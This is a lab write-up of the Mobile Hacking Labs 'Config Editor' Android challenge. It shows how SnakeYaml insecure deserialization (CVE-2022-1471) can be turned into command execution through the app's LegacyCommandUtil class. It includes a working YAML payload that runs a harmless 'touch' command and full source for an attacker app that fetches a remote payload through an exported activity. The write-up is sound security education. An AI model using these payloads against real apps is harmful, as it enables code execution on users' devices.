Config Editor Write Up: Exploiting vulnerable components in Android Apps

Introduction

This post describes my solution to Config Editor Lab from Mobile Hacking Labs, an Android Lab to practice exploiting vulnerable components.

Config Editor Challenge

Table of Contents

The App

This app is quite simple and has a single activity that allows the user to write an YAML content in the app and save as a file or load the content from a YAML file to the app. To test the functionalities a basic test.yaml file was pushed to Android Virtual Device (AVD) and loaded in the app manually.

image.png

App Screenshot
App with YAML

The Vulnerability: SnakeYaml Insecure Deserialization

After some reverse engineering and reading the code from the MainActivity, I identified the code stack from onCreate() to the function responsible to load the YAML file. The code is as follows:

package com.mobilehackinglab.configeditor;

// import ...
import org.yaml.snakeyaml.DumperOptions;
import org.yaml.snakeyaml.Yaml;

// ...
@Override
protected void onCreate(Bundle savedInstanceState) {
  // Setup code...
    handleIntent();
}
private final void handleIntent() {
    Intent intent = getIntent();
    String action = intent.getAction();
    Uri data = intent.getData();
    if (Intrinsics.areEqual("android.intent.action.VIEW", action) && data != null) {
        CopyUtil.INSTANCE.copyFileFromUri(data).observe(this, new MainActivity$sam$androidx_lifecycle_Observer$0(new Function1<Uri, Unit>() {
            // invoke1() code...
            public final void invoke2(Uri uri) {
                MainActivity mainActivity = MainActivity.this;
                Intrinsics.checkNotNull(uri);
                mainActivity.loadYaml(uri);
            }
        }));
    }
}
public final void loadYaml(Uri uri) {
    try {
        // File handling code...
        Yaml yaml = new Yaml($this$loadYaml_u24lambda_u249_u24lambda_u248);
        Object deserializedData = yaml.load(inputStream);
        // More code...
    } catch (Exception e) {
        Log.e(TAG, "Error loading YAML: " + uri, e);
    }
}

As the code and app are really small and the challenge is about third party vulnerable components, the vulnerability isn't hard to spot. The first thing to be noticed is that the app imports some classes from org.yaml.snakeyaml package, these classes are used to load and parse the yaml, specially at function loadYaml() by using the yaml.load() method from org.yaml.snakeyaml.Yaml class.

Reading about the SnakeYaml library I found a blog post from Snyk detailing the CVE-2022-1471, an Insecure Deserialization vulnerability in SnakeYaml's constructor that allows an unrestricted class instantiation and, in some scenarios, leading also to a Remote Code Execution. The vulnerability happens because the parser allows specifying Java classes in YAML using the !! syntax followed by the constructor parameter. For example, if I want to instantiate a MyCustomClass from me.regne package and passing "myParam1" as a string parameter's constructor, I would pass the following YAML to be parsed by SnakeYaml:

!!me.regne.MyCustomClass ["myParam1"]

Crafting the Exploit

Since the vulnerability is a insecure deserialization, a gadget class is required to escalate the vulnerability, but, conveniently, the app contains a custom class that can be leveraged for exploitation.

@Deprecated(level = DeprecationLevel.ERROR, message = "Command Util is unsafe and should not be used")
public final class LegacyCommandUtil {
    public LegacyCommandUtil(String command) {
        Intrinsics.checkNotNullParameter(command, "command");
        Runtime.getRuntime().exec(command);
    }
}

Note that the class has Deprecated annotation with a comment that the class is unsafe and shouldn't be used, but in fact it doesn't prevent it from being instantiated.

This class is a perfect gadget to achieve the aimed Remote Code Execution, since the constructor receives a string and executes it by passing it to Runtime.getRuntime().exec() allowing class instantiation to be scaled.

!!com.mobilehackinglab.configeditor.LegacyCommandUtil [
    "touch /data/data/com.mobilehackinglab.configeditor/files/poc.txt",
]

After creating the yaml file with the payload and loading it in the app, the file poc.txt was created in the app's internal storage by the user u0_a229, assigned to "Config Editor" App by Android System, proving that the proof of concept worked.

Proof of Concept

Building a Malicous App

As the vulnerable code is reachable from an exported activity, and handleIntent function allows us to pass an Uri with the yaml file, we can go deeper in this exploit and craft a malicious application to exploit the vulnerability.

<activity
    android:name="com.mobilehackinglab.configeditor.MainActivity"
    android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.MAIN"/>
        <category android:name="android.intent.category.LAUNCHER"/>
    </intent-filter>
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:scheme="file"/>
        <data android:scheme="http"/>
        <data android:scheme="https"/>
        <data android:mimeType="application/yaml"/>
    </intent-filter>
</activity>

The malicious app has a simple code that starts the vulnerable actvity from target app passing an intent data with the Uri poiting to YAML file with the payload.

package exploit.configeditor;

import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;

import androidx.appcompat.app.AppCompatActivity;

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        Intent intent = new Intent(Intent.ACTION_VIEW);
        String payloadUri = "https://raw.githubusercontent.com/luca-regne/mobilehackinglabs-solves/refs/heads/main/ConfigEditor/exploit.yaml";
        intent.setData(Uri.parse(payloadUri));
        intent.setClassName("com.mobilehackinglab.configeditor",
                "com.mobilehackinglab.configeditor.MainActivity");
        startActivity(intent);
        Log.d("ConfigEditorExploit", "Exploit sent.");
    }
}

Here is the source code of the exploit app.

Executing this code the vulnerable app will start loading the malicious YAML, triggering the insecure deserialization and creating a file "poc.txt" in the app's internal storage. 😊

Hope you enjoyed this write up and learned a new method to finding vulnerabilities in Android Apps. See you, and remember: hack all the things! 👾